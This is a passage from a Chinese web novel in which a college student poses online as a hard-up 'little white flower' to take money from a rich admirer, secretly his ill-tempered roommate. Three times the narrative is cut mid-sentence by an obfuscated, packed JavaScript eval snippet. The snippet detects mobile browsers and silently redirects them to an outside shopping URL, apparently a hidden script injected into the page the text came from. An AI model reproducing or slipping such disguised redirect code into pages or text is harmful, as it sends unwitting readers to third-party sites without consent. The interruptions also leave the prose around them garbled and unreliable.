而下面那人吸起烟来一根接一根,压根就没有要停的意思。 郁朝希快烦死他了! 又过了几分钟,郁朝希再次听到打火机发出“嚓嚓”的声音。 好家伙,越吸越凶了。 他不得不爬到床尾,够着头问: “你怎么了?心情不好吗?” 郁朝希没有要关心祁莘时的意思,只不过这样套着一层“关心”的外衣,拐弯抹角地让祁莘时不要吸烟,他不会挨揍。 祁莘时靠在椅背上,合着眼深吸一口,又慢慢吐出来:“多管闲事……” 郁朝希翻了个白眼,下一秒温声细语地说: “吸烟对身体不好,你也不要太难过了,有什么事可以和我说啊,我能帮你出出主意……” “你?”祁莘时半睁开眼,很看不起人地瞟了郁朝希一下,“你只需要把嘴闭上。” 好心被当成驴肝肺,郁朝希被气得头晕。 他默默躺了过去。 但房间里真的越来越热了,所以没过两分钟,他又来骚扰祁莘时: “那个,你不觉得很热吗?” 10. 游戏情侣 祁莘时觉得不止是热,他燥得骨头缝都在冒火。 但他不想搭理郁朝希。 郁朝希趴在床尾等了一会儿,没听到祁莘时回答他。 这个没有礼貌的家伙! 某人不仅没有礼貌,还在持续污染空气。 郁朝希躺在床上盯了一会天花板,明天还要上课,他实在忍无可忍。 在郁朝希第三次够头偷看祁莘时.时,他被当场抓包了。 祁莘时凉飕飕地瞄了他一眼,“有病?” 谁有病?郁朝希怒了。 他支支吾吾地开口: “你、你能不能别吸烟了?明天还要上课,我想早点休息。” “还有,我的被子都被烟味熏臭了,你能不能有点素质……” 郁朝希话还没说完,就遭到了打断,祁莘时说:“赔你。” 有钱了不起啊?郁朝希最看不起的就是这种人。 几秒钟后,他问:“赔多少啊?” 祁莘时仰起头,盯着那张愚蠢的脸庞,说:“是不是只要给你足够的钱,就什么都愿意做。” 他把玩着手机的打火机,郁朝希听到“嚓嚓”的声响,火苗正在一簇一簇地跳动着。 郁朝希觉得怪怪的,把头缩了回去,心想祁莘时怎么越看越不正常,他还是别惹这位大少爷了。 没有烟灰缸,祁莘时把烟按在杯壁上碾灭。 他随手把杯子扔进垃圾桶,轻飘飘地说了一句“走了”。 然后,他就真的走了。 郁朝希一骨碌从床上爬起来,他不可置信地愣了两分钟,一把捂住被气得发胀的胸口。 这人神经病啊!把宿舍当成吸烟区了?! 郁朝希下了床,把阳台窗户也全部打开。 房间里没法待,他拿着手机,拎起凳子来到走廊尽头。 列表里的X哥哥已经沉默了十分钟,郁朝希没再找人家聊天。 那一万块像是个过分美好的梦。 郁朝希到现在都不敢相信,竟然真的有人会因为一张照片,直接甩过来一万块…… 小富的郁朝希看起了电脑。 他开了半扇窗,但吹进来的风是热的,没一会儿郁朝希就出了一身的汗。 他一边看电脑配置,一边在心里吐槽祁莘时。 怪不得祁莘时的助理要给他们购物卡呢,换谁谁能受得了祁莘时这个鬼脾气? 郁朝希真是倒了八辈子的霉,才分到祁莘时当室友! 他在外面待了足足一个小时才回去。 房间里的烟味散得差不多了,已经到了郁朝希能接受的地步。 他关上门窗,去卫生间又洗了一次澡。 明天就要正式开始上课了,郁朝希收拾好要用的课本,闹钟的时间没改,还是六点二十。 十点半,郁朝希准时上床,作为一名合格的捞子,他给X哥哥发了晚安消息。 翌日,郁朝希早早背着书包来到教室,并在宿舍群618里艾特了刘佑齐,告诉他自己给他占了座。 郁朝希占的座位在正中间,是一个非常好的学习位置。 刘佑齐提前十分钟到教室,而另一名室友是踩着点进来的。 没办法,某人就爱搞特殊。 刘佑齐坐中间,一进来就拿着手机打游戏。 郁朝希延续了高中时的良好学习习惯,认真听课,勤做笔记。 三个人的书桌上就放了一本书,郁朝希对此大为震撼。 课间,身旁的室友打游戏打得热火朝天,他从包里摸出来一个面包,撕开包装咬了一口。 不分享是不是有点太小气了? 好像是有点。 郁朝希又拿出一个递给刘佑齐,问:“你吃吗?” 刘佑齐没顾得上抬头,反应迟钝了两秒,答道:“不用了。” “哦。” 另一个不用问了,郁朝希不想和他分享任何东西。 吃完面包郁朝希又开了一盒酸奶,他边喝酸奶边想中午吃什么。 某App深谙他的吃货属性,一直给他推团购,郁朝希已经团了两个麻辣小龙虾套餐,打算晚上去吃。 下午第一节有课,总不能把中午的时间全拿来吃饭吧。 郁朝希的手机放在桌子上,屏幕页面停在一个自助的转转小火锅。 价格合适,菜品齐全,最重要的一点是,就在学校附近。 简直集齐了不得不吃的三个理由。 郁朝希心动了。 他火速下了单。 一想到中午要吃火锅,一整个上午都充满期待。 郁朝希两眼放光地查看自助菜品,上方忽地弹出一条消息—— ——X:在干什么? 是金主! 郁朝希差点把这人忘了。 土豆老师曾经说过,网恋时不要全给真实的信息,但也不要全是假的,要半真半假。 郁朝希已经给自己打造好了人设——淳朴的穷学生。 淳朴是本性,穷学生是事实。 那么虚假信息就应该是他的年龄、学校和住址。 ——三月风:我在上课呢哥哥,你在干什么? ——三月风:爱心【gif.】 出乎意料的是,X这次回消息回得很快: ——X:工作 郁朝希敬业且勤奋,堪比一名顶级销售。 ——三月风:哥哥真是太辛苦了,云捏肩~云捶腿~ 郁朝希搓了搓胳膊,这才刚发了两条消息,他就开始浑身刺挠了。 ——X:嗯。 ——X:学的什么专业? 郁朝希早有准备: ——三月风:我学的英语,哥哥大学的专业是什么? ——X:计算机。 好巧,竟然也是计算机。 郁朝希敲字:好厉害,那哥哥现在是做什么的呀~ 他抓了抓脖子,已经有点心理不适了。 ——X:游戏开发 ——X:对了,我知道有个刚上的游戏,有兴趣玩吗? 郁朝希还没玩过除了“推箱子”和“消消乐”之外的游戏。 ——三月风:当然有兴趣啦,不过我可能不太会玩,哥哥要带我吗? ——X:嗯。 ——三月风:那太好了! ——X:分享游戏 郁朝希正要点开,上课铃突然响了。 比起学习,金主都要靠边站。 ——三月风:哥哥我要上课了,下课之后再来找你可以吗? ——三月风:我要好好学习,不然毕业了找不到工作的[哭] ——X:嗯。 郁朝希收起手机,心想这人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538477|203893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还挺通情达理的。 等下课后,郁朝希点开了X发来的游戏。 这是一个养成类的小游戏,有单人和情侣模式,画面做的很唯美。 郁朝希和X在游戏里加了好友,成为《晴耕雨织》里的第15232对情侣。 这游戏没什么难度,整体玩法偏向“细水长流”,概括说就是男耕女织。 他们现有三块田,两只鸡,目前升级的办法只有种田养鸡。 ——三月风:放心吧哥哥,交给我吧,我一定会种好我们的田,养好我们的鸡~ ——X:嗯 好高冷,不过郁朝希就喜欢话少的。 大一的课程排得不算紧,只有两天满课,周末都是空出来的。 等最后一堂课一结束,郁朝希背起书包就往外跑。 他们宿舍的三个人散是满天星,聚也是满天星,除了集体活动外,其余时间压根不在一起。 郁朝希小跑出学校,坐公交去了自助转转火锅店。 他选好锅底,刚往锅里放了半盘肥牛卷,X的消息又来了。 有点粘人,郁朝希想。 他本来想刷小视频的,现在看来要陪金主聊天了。 ——三月风:哥哥下班了吗?中午吃的什么? ——X:在公司食堂 ——三月风:好巧,我也吃的学校食堂 郁朝希调了一碗麻酱,从咕嘟咕嘟冒热气的锅里捞出两块鱼豆腐。 ——三月风:下午还有课,就到食堂随便吃了点 ——X:嗯 郁朝希打开游戏,把地里的草除了,顺便又加了点鸡饲料。 弄完又跑去让X看他们的小麦是不是又长高了。 郁朝希一边盯转盘上的菜品,一边注意X有没有发消息,一顿饭下来除了嘴,最累的就是眼睛了。 他满打满算吃了一个半小时,吃完后立刻坐公交赶回学校。 等到了教室,他发现自己没带书。 书包里的两本是上午用到的。 失策了,郁朝希只想着吃,竟然忘了书本。 所以下午的两堂课他只能干听。 刘佑齐依旧很潇洒,连头都不抬,游戏开了一盘又一盘。 郁朝希也开始玩游戏了,只不过没有舍友热血,除草、浇水和喂鸡都只需手指点一点。 带的零食也吃完了,虽然郁朝希中午吃得多,但架不住嘴馋。 课间时,他跑到教学楼下的贩卖机里买了袋台湾小烤肠。 这种零食有一点味道,他吃完了才回去。 晚自习没课,等下午放学后,郁朝希就可以安心去吃小龙虾了。 自从有了X的资助,他的生活费就翻了好几倍,今天一天的花销是原来的四倍。 想到这儿,郁朝希就情不自禁向X表示了关心和问候。 表示完他扫码上了公交车,十分钟后抵达团购的虾客行。 郁朝希团的是双拼口味,麻辣和蒜蓉。 因为要戴一次性手套剥虾,郁朝希只能先暂时放弃和金主聊天,理由是他去食堂窗口勤工俭学,帮忙刷卡了。 这条消息刚发完没几分钟,金主给他转了个二百的红包。 郁朝希顿时良心发现,想当场表达感谢,但又一想到,他现在正干活呢。 所以只能违心地继续吃小龙虾了。 11. 钩织娃娃 虾肉紧实弹牙,郁朝希边吃边看美食视频。 他还没放弃当吃播,赚不赚钱无所谓,主要是想记录一下生活。 微辣口味的小龙虾对郁朝希来说还是有点超标,他吃了还没五分之一,嘴唇就被辣得发红,好像还肿起来了。 但是很好吃。 郁朝希拧掉虾头,非常丝滑地咬出虾肉。 辣椒与花椒带来的灼热和酥麻在口腔里跳动着,虾肉本身的清甜被辣味代替,郁朝希吃得额头冒汗,喝了一口加冰的柠檬水。 团购是两人餐,不过郁朝希一个人吃不在话下,他抽空给X回了条消息,嘱咐金主要好好吃饭,他忙完就去找他。 这些话术郁朝希都背下来了,随时都能拿来用。 他还存了一大堆可爱撒娇的表情包,搭配在一起使用效果非常好。 晚饭郁朝希吃了整整两个小时。 临走前他去卫生间洗手,远远地看到镜子里的自己,郁朝希抬手摸了摸嘴唇。 嘴已经快失去触觉,摸起来微微发烫,感觉比平时厚了一圈。 他快步走到镜前,不可置信地盯着唇部看了一分钟。 郁朝希知道肿了,但怎么会肿成“香肠嘴”? 看来他对微辣的接受程度还是太低了。 明天还是吃蒜蓉的吧。 郁朝希打开水龙头冲洗双手,随后挤上洗手液开始“七步洗手”。 洗完后他凑到水龙头下,顺便给嘴唇也降了降温。 还有两周天气就会转凉,郁朝希只带了夏装,那几身衣服还是暑假买的。 他之前的衣服实在一言难尽。 大学城有条街专门做服装,郁朝希进去转了一圈,试了没两件就离开了。 他不会砍价,偏偏店主的报价还偏高一些。 郁朝希打算网购。 他买衣服的标准非常简单,优先选择黑白灰。 郁朝希衣柜里的三条西裤全是同款,用来搭配的上衣也十分简约单调——白色衬衫、白色短袖。 这种属于绝对不会出错的穿搭。 秋冬季节的衣服样式要多一点,郁朝希依旧打算遵循“简单”原则。 而他穿出去的衣服和睡衣是两个极端,郁朝希知道自己的审美没救了,但又不肯放弃,只能在睡衣上找回来。 郁朝希没在外面闲逛,等到公交就上车返回学校了。 他在宿舍和自习室之间犹豫了一下,还是果断选择了自习室。 郁朝希花半小时做复习,复习完已经是晚上九点钟。 他不确定祁莘时有没有回宿舍,也不愿意发消息问一下。 郁朝希本人非常讨厌酒鬼和烟鬼,很巧的是,祁莘时两个全占。 正常状态下的祁莘时就够吓人了,更别提喝得醉醺醺的祁莘时,还有,他公德心全无,竟然在宿舍吸烟! 某人本来就不招人待见,现在郁朝希更烦他了。 所以郁朝希打算九点半再回宿舍。 他戴着耳机,在自习室研究了半小时秋季穿搭。 期间金主给他发了条消息,内容依旧简短。 郁朝希热情回复,编造说自己正在图书馆学习。 九点刚过时,祁莘时也发了一条,让郁朝希注意门禁,还说要是被锁楼下,他不会下去帮忙开门。 郁朝希没回,他现在看见和祁莘时有关的东西就心烦。 他有看时间,才不会被锁外面。 九点半,郁朝希背着书包走出自习室,十分钟后进了宿舍大门。 看样子祁莘时在宿舍…… 郁朝希一点也不想面对他。 片刻后郁朝希站在618前,输入密码推开门。 房间内亮着灯,祁莘时果然在宿舍。 不过这次没吸烟也没喝酒。 郁朝希背着书包默默地走进去,路过祁莘时.时,这人突然转过身,问道: “我发的消息你没看见?” 郁朝希疑惑地“啊”了声,“你给我发消息了?还真没看到。” 祁莘时伸出手:“手机拿来,我看看你是真没看见,还是假没看见。” “我真没看见,”郁朝希捂紧口袋,“再说了你凭什么随便看我手机?” 真没看见?祁莘时冷笑,有工夫回X的消息,没空回他的? 郁朝希放下书包,把手机扔床上,抱着睡衣就去洗澡。 祁莘时“噔噔”地敲着屏幕,敲完后滑动着聊天页面,脸色阴郁地把消息看了一遍。 十几分钟后,郁朝希洗完澡上床,这边刚靠在床头,就去看金主有没有给他发消息—— 未读③ 真稀奇,郁朝希还没见过X一次性给他发三条消息。 他急忙点开,发现那是三个红包。 面值都是两百。 昨天转账一万,今天发了四个二百的红包…… 他的金主八成是个散财童子。 郁朝希不可置信地摸了摸自己的脸,没想到他的魅力已经大到这种地步…… ——三月风:哥哥下班了吗?听说当程序猿要经常加班的 ——三月风:怎么又给我发红包了[害羞],哥哥也要好好照顾自己~ 祁莘时看着这两条接连发过来的消息,面无表情地打字:下班了,知道了。 郁朝希火速收下红包,附赠一条肉麻撒娇和可爱表情。 但良心实在难安,所以他打开某软件,搜索起了平价礼物。 郁朝希看了一会儿发现,推荐做手工的帖子比较多,且价格非常合适。 ——三月风:哥哥,我之前参加了一个手工社团,做了一些小东西,你有喜欢的吗? ——三月风:图片 ——三月风:图片 …… …… 郁朝希发了一堆网图,打算金主喜欢哪个他就做哪个。 还没等到金主的回复,祁莘时上床了。 他们两人的床挨着,脚对脚睡。 因为每次都是郁朝希躺下休息了,祁莘时还没上床,所以像这样一抬头就能看见对方的情况并未发生过。 郁朝希觉得不自在,也不靠着了,直接仰面躺下。 金主迟迟没回消息。 郁朝希这时想到,X应该不是一名社畜,谁家社畜会大方到这种地步? 所以他捞上的是个富二代吗? 郁朝希觉得大概率是。 像这种大少爷要什么都有,应该看不上他那些小东西。 郁朝希心想,贵的买不起,就算他能买得起,X八成也不稀罕, 那还送吗? 要不别送了吧…… 正当郁朝希纠结万分时,失踪了几分钟的X发来两条消息:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538478|203893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ——X:图片 ——X:这个吧 那是一个钩织娃娃。 郁朝希识图搜物,找出用到的毛线,飞速点进拼夕夕购置。 ——三月风:好呀。 郁朝希静静地等了四分钟,举着手机打字: 哥哥,真是不好意思,我刚刚去找娃娃,发现它被勾破了一道口子,我现做一个可以嘛? 祁莘时:…… 他抬眼看了看对面,郁朝希平躺着,薄得跟张木板一样,要不是把头露出来了,会让人产生床上没人的错觉。 明明一天到晚都在吃东西,也不知道吃哪儿去了。 祁莘时把那条消息又看了遍,眉头不自觉拧起。 他很好奇郁朝希在敲这些肉麻的的字时,脸上是什么表情。 ——X:可以 郁朝希不由得发自内心地感叹,这金主人有点太好了,好到他都不忍心再骗下去了。 ——三月风:哥哥明天还要上班吧,我就不打扰哥哥来,晚安 ——三月风:笔芯[gif.] 祁莘时没回消息,他看见郁朝希放下手机,又侧躺着把自己蜷缩了起来。 哦,已经十点半了,这笨蛋要休息了。 祁莘时记得学校里是有个手工社团,不过郁朝希参加了吗? 又在撒谎,明明自己学的是计算机,骗人说是英语。 嘴里没一句实话。 祁莘时把那几张照片又看了一遍,笨蛋倒聪明,没找那些网图感很强的图片, 不多时,他听到了郁朝希和缓的呼吸声。 祁莘时瞄了眼时间——22:36。 还真是能吃能睡。 —— 三天后,郁朝希买的毛线到了。 这几天他看了N个钩织视频,就等东西一到就大显身手。 做钩织的事不能让别人知道,郁朝希打算秘密进行。 刘佑齐不用说了,就算郁朝希告诉他自己在做钩织,他大概转头就会忘。 祁莘时也大差不差,那大少爷一看就不像会关注别人的人。 不过郁朝希还是要小心一些,把钩织要用到的东西藏严实点。 毛线到的太是时候了,正巧赶上周五。 第二天,郁朝希准时六点二十起床,吃完早饭后,他找了个人少的亭子,拿出东西就开始干活。 郁朝希从早勾到晚,天色暗下来后就转战自习室。 终于,娃娃在第四天的下午三点钟完工了。 他迫不及待地给金主发了照片。 ——三月风:图片 ——三月风:哥哥,我钩好了,你的地址在哪儿啊,我寄给你。 郁朝希这两天一早就出门,晚上九点钟之后才回来,祁莘时放大图片,仔细看了一番后喃喃道: “人笨手巧……” 另一边,郁朝希盯着金主发来的地址傻眼了, A市启新区xxxxx A市…… 还是启新区…… 和他在同一个区,要不要这么巧? 郁朝希迫切地需要定下自己的地址了,太近不行,万一金主要面基怎么办? 为了能长久地捞钱,郁朝希挑了个挺远的地方。 ——三月风:原来哥哥在A市,这也太不巧了,我在H市,我们隔了好远 12. 霸总金主 快递要从H市寄出,郁朝希在网上搜了搜,发现可以用快递代收转寄。 因为他买的是标准尺寸的飞机盒,一个娃娃放进去孤零零的略显空荡,再加上毛线买多了,郁朝希当即决定再钩点别的。 某app上教程很多,郁朝希挑来挑去,决定钩几个卡通任务和一些小动物。 他点赞收藏好教程,从包里拿出一个玻璃保鲜盒和一个勺子。 郁朝希打开盖子,开始品尝[青提、梨子、凤梨、杨桃]酸奶碗。 大学城附近的水果店价格同样很离谱,虽然水果的品质不错,但郁朝希还是觉得太贵了。 不过他有金主的资助。 除了杨桃,其他三种水果的糖份都较高,郁朝希边吃边过了遍教程,很快又上手钩了起来。 玫瑰花束刚起了个头,手机上就弹出一条金主的消息: ——X:周二没上课? 在郁朝希编造的虚假信息中,他今天读大二。 一般情况下,大二的课排得很满。 ——三月风:待会就要去上课了[爱心] ——三月风:[图片] ——三月风:哥哥你看这个好看吗?我准备多钩两个一起寄过去 ——X:好看 ——X:注意眼睛 看到这两条消息的郁朝希再次感叹,X真是个大好人。 ——三月风:我知道啦,哥哥也是~ 郁朝希面上毫无波澜,他已经成长为一个成熟的捞子,能脸不红心不跳地敲出这些奇怪的话。 下午第三节课16:10开始,郁朝希三点四十从凉亭离开,去教室占座。 只要不是上午最后一节和下午第一节课挨着,刘佑齐都会去打游戏,所以平常几乎在宿舍见不到他。 不过祁莘时好像经常待在宿舍,抽风似的住上几晚,然后消失一两天又突然出现。 郁朝希不乐意和他搭话,这个人说话太难听,长得也凶,不仅看起来不好相处,交往下来会发现,这种第一印象已经是美化后的结果。 凉亭离教学楼不远,郁朝希走到一半,拿出手机看教室号,发现刘佑齐在群里说他占好位置了。 郁朝希走到教室一看,祁莘时竟然提前到了。 刘佑齐占的位置在东侧,他挤在最里面打游戏,祁莘时坐在正中间。 郁朝希硬着头皮走过去,在祁莘时身边坐下。 他包里的毛线和娃娃放在一只不透明的收纳袋里,土豆老师说要混淆视线,绝对不能让你身边的人知道你在干什么。 否则非常容易就会穿帮。 郁朝希牢牢记在心里,并严格执行。 虽然他清楚地知道,这么大个启新区,哪就那么点背,网恋会被抓包。 但他收了X的钱,还是数目不小的N笔。 这位金主的家境应该非常殷实,把二百红包当米粒撒,一般情况下一天撒两次。 最多的一天,郁朝希收到六个二百红包。 像做梦一样…… 照这种情况发展,郁朝希很快就能财富自由了。 但他嘴馋,一天两顿地倒换着吃火锅、烤鱼、烧烤…… 零食水果不断,奶茶小蛋糕也不落下。 郁朝希粗略计算了一下,平均下来每天的花销高达200块上下。 昨天中午他还去吃了人均198的海鲜畅吃自助…… 待会儿放学后,晚饭是团购的烤鱼、牛蛙火锅…… 自从捞上金主后,郁朝希买衣服的预算都提高了。 高收入的同时伴随着高支出,钱倒也存了,只是没那么多而已。 郁朝希不敢想了,这才短短一周,他竟然都敢这么大手大脚地花出去将近两千块…… 有钱真好啊。 郁朝希拿出课本,默默往旁边挪了挪,在有限的空间范围内争取离祁莘时远点。 祁莘时瞄了眼郁朝希的包,心想,藏得还挺严实。 那只翻动着书页的手在他眼前晃了晃,指甲修剪得很整齐,手指修长笔直,但他就是觉得不舒服。 祁莘时偏过头,郁朝希的侧脸正对着他,脸颊上的两团肉微微鼓起…… 又在展示自己的无害…… 桌面上又是只有一本书,都上课上了一周了,这两个人一次书都没带过。 郁朝希很费解,但没兴趣多管闲事。 这堂是高数课,郁朝希听得很认真。 祁莘时低头看着手机,给某个用粉色卡通人物当头像的人发了条消息。 郁朝希的手机静音了,下课了才发现金主又给他发了红包。 心中涌上来一股暖流。 这边刚要收下,余光里,郁朝希觉得好像有人在看他,他抬手把屏幕挡住,瞥了眼一旁的祁莘时。 没错,他认为祁莘时刚刚在偷看他的手机。 没礼貌。 郁朝希靠在椅背上,拿起手机把红包点开——熟悉的两百块。 收了钱,郁朝希开始给金主提供情绪价值。 短短几天,他就把话术背得滚瓜烂熟,打起字来都不带磕巴的。 ——三月风:哥哥怎么又发红包?上午不是才刚发过吗?我这几天都在吃食堂,这些钱根本花不完的 郁朝希的人设要维持住,因为他的金主好像还挺喜欢这款“勤工俭学小白花”。 ——X:还有再去食堂餐口刷卡吗? ——三月风:没有了。 ——X:真的?没骗我? 郁朝希战术沉默了一会,敲字:哥哥,我要开始下课了,待会儿再聊吧。 为了保持人设不倒,郁朝希当然还要“勤工俭学”,实际他早就躺平任养了。 ——X:好,待会儿再说 ——X:你知道我不喜欢别人骗我 郁朝希抽空瞄了眼金主发来的消息,不免在内心哇塞一声。 好霸总的发言~ 五分钟后,郁朝希挡着手机屏幕回消息: ——三月风:其实……还在窗口刷卡,课排得太紧,晚上也要上课,家教只能周末去干 ——三月风:时间不长的,就只干饭点的那两个小时,哥哥不用担心 学校的食堂有八个,窗口数量更是数不胜数,祁莘时到现在一个也没去过。 郁朝希发来的消息可怜巴巴的,偏偏他这几天中午都没回宿舍。 祁莘时信以为真,且毫不怀疑,大手笔地转了一万块,附带两条消息。 一条是让郁朝希别再搞这些廉价兼职。 另一条是注意身体的嘱咐。 转账消息弹出来的瞬间,郁朝希坐立难安,他把手机翻过来盖在桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538479|203893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面上,无措得咬住了手指。 老师讲课的声音消失了,他只能听到胸腔里的心脏在“扑通——扑通——”地狂跳。 他的良心受到了谴责…… 他承认自己所提供的情绪价值会带来金钱上的收益,但、但也没昂贵到这种地步吧。 郁朝希把手机翻过来,颤颤巍巍地点开收入明细。 短短一周时间,X就给他发了两万三千元…… 郁朝希不可置信地数了两遍,差点要晕过去。 这实在太多了…… 郁朝希惴惴不安地发了一会儿呆,像做贼一样前倾着身体,掀起书给X回消息。 ——三月风:真的太多了,我不能收[哭泣黄豆] ——三月风:我不去食堂窗口兼职了哥哥…… 郁朝希把钱退了回去。 他的本意是让X不要停止给他发二百的红包,可没想到X竟然直接甩巨款。 由此可见,他的金主一定不是社畜…… 转账消息又弹了出来、 ——X:送出去的东西我不会往回拿 天呐,好有魅力…… 郁朝希默默捂住嘴,继续装小白花。 ——三月风:可是哥哥赚钱也很辛苦啊,之前已经给我很多钱了,够我生活很久 ………… 郁朝希哐哐敲了两大段字,成功把自己敲出了一身鸡皮疙瘩。 X的回复很短,两个字:收下。 郁朝希的手蠢蠢欲动,仅剩的良心在这时跳出来阻止他。 但那可是一万块…… 纠结了一分钟,郁朝希把钱收了。 他茫然地抬头看向黑板,手指下意识绞在一起。 得之太易的金钱在冲撞着他未成熟的三观…… A市太繁华,这样的大都市本就令他的双脚不能结结实实地踩到实处,他薄弱的独立思考能力在被金钱削减。 但他浑然不觉。 这一节课漫长而短暂,下课后郁朝希从座位上起身,走了两步发现自己整个人轻飘飘的。 郁朝希的存款又创新高,但他还是选择坐公交去烤鱼店。 今天的晚餐是半条烤鱼和一斤半的牛蛙。 菜还没上桌,X突然发消息问他晚饭要吃什么。 郁朝希睁眼说瞎话,打字:哥哥,我晚上吃盒饭。 他是一朵如此朴实无华的小白花。 找不到人了…… 祁莘时明明一直跟在郁朝希身后,出教学楼时这人在他三米开外的位置。 但一眨眼的工夫,郁朝希没影了。 ——X:在食堂? ——三月风:是呀 祁莘时去了最近的食堂。 这个食堂有五层,三个出入口,目前正值营业最高峰。 祁莘时刚一进门,入眼就是乌泱泱的人群。 根本找不到。 红油锅底“咕嘟咕嘟”地翻滚着,郁朝希夹起一块鱼皮煎得焦酥的鱼肉,吹凉了放进嘴里。 新鲜的鱼肉很嫩,浸透了汤汁,又鲜又香。 郁朝希吐刺很在行,吃了几筷鱼肉后,他夹出两只牛蛙。 听说这个也很美味。 这时,放在一旁的手机亮了下,郁朝希低头看去: ——X:吃的什么?发个照片 13. 事儿哥、龟毛… 郁朝希随便在网上搜了张网图,截掉ID发送给金主,顺便再关心一下金主的工作和晚餐。 祁莘时看了看照片,又抬头环顾四周。 他在原地站了片刻,还是决定先离开。 人太多,压根找不到。 郁朝希又发了几条消息,奉承意味十足。 祁莘时皱着眉一条条看完,骂了句没出息。 另一边,郁朝希倒了杯加冰的酸梅汁,正在看plog的制作教程。 鱼被他吃了大半,蛙蛙还剩一只少了两条腿的,不过可以拍出来试试手。 没有打光,他手机的像素也不高,拍出来的照片雾蒙蒙的。 不过没关系,郁朝希得到了土豆老师的亲传,修图技术十分高超。 他把手机放在桌子上,一边吃一边修,一张照片修了十分钟。 最终,在他的天赋和努力下,把一张废片修成了高级大片。 郁朝希点点头,表示非常满意。 他打算做个账号,记录自己的一日三餐。 吃完饭郁朝希沿着街道散了会步,几分钟后坐公交回学校。 现在刚八点,作为一个勤奋好学的大一新生,郁朝希来到自习室,花半小时做完了高数作业。 随后打开游戏喂鸡除草,郁朝希一天玩三次,他和X的鸡、小麦正保持着一种正常速度生长。 因为速度太正常,他们还停留在五等户的头衔。 虽然郁朝希已经脱贫,但往游戏里充钱这种事他打死也不干。 就算晴耕雨织的画面温馨美好,人物立绘也做得十分细腻精致。 除非老天有眼,让他暴富。 X很少上线,这个家由他一手打理,郁朝希隔两天就会汇报一下进度,比如鸡下了几个蛋,麦子收了几茬。 X不太关心这个家,每次郁朝希和他说这个,他都只是淡淡地回个嗯。 不过郁朝希这个人比较大方,不会在这种小事上和他生气。 在游戏上花了两分钟后,郁朝希戴上耳机,开始照着教程埋头钩玫瑰花束。 九点钟,他正钩得起劲,一条来自某人的消息弹了出来: ——祁莘时:在哪? 为了保证在门禁前回到宿舍,郁朝希特意定了晚上九点半的闹钟。 他点开和祁莘时的聊天页面,打字:自习室,怎么了? 下一秒: ——祁莘时:都什么时间了还不回来,你每次回到宿舍还要洗澡洗衣服,注意一下别打扰别人休息 谁打扰别人休息了?郁朝希每天准时十点半上床睡觉,不像某人,都不知道折腾到几点才消停。 也就是他睡眠质量好,还不愿意和他计较。 再说了,祁莘时周末在宿舍一待就是一整天,空调也一直开着,郁朝希都没和他算电费呢! 真是欺人太甚,郁朝希憋着气狂敲一大段字,敲完重重地点了下发送。 宿舍,看完全部内容的祁莘时脸色铁青。 而撒完气的郁朝希心情舒畅,钩起玫瑰花束来速度加倍。 突然,祁莘时又发了条消息:你等着。 等着就等着,郁朝希才不怕他。 两分钟后,郁朝希:哎呀呀钩错了。 不过幸好发现得早,只错了几针。 郁朝希一针针退掉。 他抬手抓了抓头发,心想,自己刚才发的消息里没有很过分的话吧。 选择性失忆的郁朝希把消息点开,只看了开头一句就匆匆移开眼。 21:30,郁朝希的闹钟准时在耳机里响起。 他磨磨蹭蹭地把书本、毛线收进书包,慢悠悠地站起身。 他不想回宿舍了,因为里面有一名正在等着他的臭脾气高大室友。 宿舍楼下,郁朝希攥紧书包带,在宿舍外晃了二十分钟,等宿管要锁门了才不情不愿地走进去。 郁朝希后悔了,他边爬楼边想,自己没事惹这个大少爷干什么? 真是倒了八辈子霉了…… 爬楼爬了十分钟,站在618门前时,郁朝希又开始酝酿。 片刻后他深吸一口气,颤颤巍巍地伸手输入密码。 咔嚓—— 郁朝希推开门,凉气扑面而来,他打了个哆嗦。 门被他轻轻合上,郁朝希努力降低自己的存在感,蹑手蹑脚地背着书包往里走。 他偷偷瞄了眼,发现祁莘时带着耳机,正在键盘前敲敲打打。 郁朝希松了口气,他走到自己的书桌旁,刚把包放下,就听一道凉涔涔的的声音传来: “我不知道你原来对我有这么大意见。” 郁朝希心想,他的意见还多着呢,这只是冰山一角。 他边收拾明天要用到的书,边说:“我说的都是事实……” 祁莘时本来就是事儿多,脾气又不好。 郁朝希偷偷瞄着一旁的动静,生怕这人再犯病打他。 祁莘时冷笑:“事实?你自己也没好到哪儿去……” “我怎么了?” 郁朝希非常无语,他明明都够迁就祁莘时的了,这人竟然还找他的毛病。 简直就是在鸡蛋里面挑骨头,没事找事! “我又怎么了?”祁莘时起身走过来,拿着手机怼到郁朝希面前,“你给我起外号?” 郁朝希扒开他的手,没敢看。 “你自己也知道心虚……” 